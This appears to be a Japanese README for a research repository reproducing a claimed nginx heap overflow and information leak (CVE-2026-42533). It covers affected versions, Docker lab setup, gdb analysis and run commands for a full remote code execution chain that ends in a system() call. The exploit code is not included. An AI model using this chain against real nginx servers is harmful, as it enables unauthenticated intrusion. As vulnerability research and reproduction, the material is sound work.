
nginxのヒープオーバーフローと情報漏洩(CVE-2026-42533)の概念実証(PoC)再現。2つの攻撃面、デバッグ解析、完全なRCEチェーンを含む。
nginx(0.9.6–1.30.3 / mainline ≤1.31.2)の複雑値スクリプトエンジンにおける認証前ヒープオーバーフロー + 情報漏洩;CVSS 9.2。同一の根本原因には2つのトリガー面がある:HTTP(regex location + regex map)と stream(ssl_preread + SNI + regex map)。
詳細な技術分析と訂正については ANALYSIS.md を参照。
.
├── ANALYSIS.md # 詳細分析(根本原因 / 2パス実行 / 動的証拠 / RCE チェーン + 訂正)
├── README.md # 本ファイル(索引)
├── http/ # ① HTTP 亜種のブラックボックス再現(classmethod トリガー面)
│ ├── nginx.conf # 脆弱性設定(regex location + regex map)
│ ├── docker-compose.yml # nginx:1.30.3(vuln,:8081) vs 1.30.4(fixed,:8082)
│ ├── test.sh # clobber / overflow / leak の3方向テスト
│ └── repro.py # PoC、漏洩したヒープポインタ/残存データを自動抽出
├── debug/ # ② HTTP 亜種 debug ビルド + pwndbg/gdb 動的解析
│ ├── Dockerfile(.buster) / docker-compose.yml(.buster) / nginx.debug.conf
│ ├── gdb.py # 2パス実行トレース + LEN/VALUE 不一致アラート(中核)
│ ├── attach.sh / extract-symbols.sh / trace_one.sh
│ ├── recon/ # ヒープレイアウト偵察スクリプト(recon.py / recon2/4/5.py)
│ └── README.md # 詳細は当該ディレクトリを参照
└── stream-rift/ # ③ stream 亜種の完全な RCE チェーン(echo pwned を再現済み)
├── Dockerfile / docker-compose.yml / nginx.conf / server.py / entrypoint.sh
├── poc.py # 完全チェーン(リーク→スプレー→pool 偽装→system)、技術は公開開示に基づく
└── README.md # 帰属声明 + 実行手順
debug/src、debug/symbols*、debug/logs*はextract-symbols.shによって生成される(DWARF バイナリ + ソースツリー)。.gitignore済みで、再構築可能。
cd http
docker compose up -d # 1.30.3(vuln) + 1.30.4(fixed)
./test.sh # 3方向の比較
python3 repro.py --vuln http://localhost:8081 --fixed http://localhost:8082 # リークの解析
cd debug
docker compose build && docker compose up -d # debug ビルド(--with-debug + DWARF)
./extract-symbols.sh # gdb 用にバイナリ+ソースをローカルへ取得
./attach.sh # gdbserver を worker(:2333)にアタッチ
gdb -x gdb.py # pwndbg をロード;c の後にホストからリクエスト送信
詳細は debug/README.md を参照。
echo pwned > /tmp/pwn)cd stream-rift
docker compose build && docker compose up -d # nginx 1.31.1 (jammy/glibc2.35)
python3 poc.py --host 127.0.0.1 --port 29443 --leak # heap/libc/system をリーク
python3 poc.py --host 127.0.0.1 --port 29443 --cmd 'echo pwned > /tmp/pwn'
docker compose exec nginx-rce cat /tmp/pwn # → pwned(所有者 nobody = worker)
技術の帰属は公開開示 DepthFirstDisclosures/Nginx-Rift にあります;詳細は stream-rift/README.md を参照。
| 影響 | HTTP 亜種 |
|---|
stream の完全チェーンはモダンな glibc 2.35 上で成立する(緩和の無効化は不要):cleanup ディスパッチが ngx_destroy_pool の free() より先に行われ、system() は abort より先に実行される。信頼性は「部分的」(ヒープ風水、単発で約1–2回ヒットし、リトライが必要);オフセットは当該ビルドに固定されている。
Docker + Compose;ローカルの gdb(+ pwndbg、お好みの方法でロード);pip install requests(http/repro.py)。
| stream 亜種 |
|---|
| 情報漏洩(heap/PIE + 残存データ) | ✅ 安定 | ✅ 安定 |
| DoS(worker abort) | ✅ 安定 | ✅ 安定 |
| 任意コード実行 | ❌ 公開 PoC なし(独自開発が必要) | ✅ 再現済み(stream-rift/) |